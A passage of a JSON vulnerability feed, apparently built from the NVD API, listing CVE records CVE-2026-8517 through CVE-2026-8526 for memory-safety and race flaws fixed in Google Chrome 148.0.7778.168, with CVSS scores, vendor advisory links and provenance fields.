2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8526","cveId":"CVE-2026-8526","aliases":[],"kind":"vulnerability","title":"Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.407Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8526","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8526","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8526","type":"primary","publishedAt":"2026-05-14T20:17:13.407Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8525","cveId":"CVE-2026-8525","aliases":[],"kind":"vulnerability","title":"Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.","summary":"Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.290Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8525","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8525","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8525","type":"primary","publishedAt":"2026-05-14T20:17:13.290Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8524","cveId":"CVE-2026-8524","aliases":[],"kind":"vulnerability","title":"Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.180Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8524","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8524","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8524","type":"primary","publishedAt":"2026-05-14T20:17:13.180Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8523","cveId":"CVE-2026-8523","aliases":[],"kind":"vulnerability","title":"Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a...","summary":"Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:13.080Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8523","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8523","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8523","type":"primary","publishedAt":"2026-05-14T20:17:13.080Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8522","cveId":"CVE-2026-8522","aliases":[],"kind":"vulnerability","title":"Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page.","summary":"Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.973Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8522","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8522","type":"primary","publishedAt":"2026-05-14T20:17:12.973Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8521","cveId":"CVE-2026-8521","aliases":[],"kind":"vulnerability","title":"Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic.","summary":"Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)","detail":"Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.877Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8521","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8521","type":"primary","publishedAt":"2026-05-14T20:17:12.877Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8520","cveId":"CVE-2026-8520","aliases":[],"kind":"vulnerability","title":"Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.","summary":"Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)","detail":"Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.770Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8520","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8520","type":"primary","publishedAt":"2026-05-14T20:17:12.770Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8519","cveId":"CVE-2026-8519","aliases":[],"kind":"vulnerability","title":"Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page.","summary":"Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)","detail":"Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.663Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8519","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8519","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8519","type":"primary","publishedAt":"2026-05-14T20:17:12.663Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8518","cveId":"CVE-2026-8518","aliases":[],"kind":"vulnerability","title":"Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.550Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8518","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8518","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8518","type":"primary","publishedAt":"2026-05-14T20:17:12.550Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8517","cveId":"CVE-2026-8517","aliases":[],"kind":"vulnerability","title":"Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute...","summary":"Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)","detail":"Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.453Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8517","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8517","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8517","type":"primary","publishedAt":"2026-05-14T20:17:12.453Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 